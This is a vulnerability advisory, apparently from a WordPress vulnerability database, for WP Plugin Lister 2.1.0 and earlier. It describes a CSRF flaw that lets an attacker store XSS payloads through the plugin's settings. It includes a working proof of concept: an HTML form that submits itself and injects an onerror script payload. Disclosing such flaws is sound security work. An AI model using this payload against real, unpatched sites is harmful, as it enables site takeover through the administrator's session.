WordPress Plugin Vulnerabilities

WP Plugin Lister <= 2.1.0 - Settings Update to Stored XSS via CSRF

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack.

Proof of Concept

Make an admin open an HTML page containing the following code:

<form action="https://example.com/wp-admin/options-general.php?page=plugin_lister.php&time=1670618030" method="POST">
    <input type="text" name="title" value='"><img src=x onerror=alert(1)>'>
    <input type="text" name="description" value='"><img src=x onerror=alert(1)>'>
</form>
<script>
    document.forms[0].submit();
</script>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2024-01-03 (about 4 months ago)
Added
2024-01-03 (about 4 months ago)
Last Updated
2024-01-04 (about 4 months ago)

Other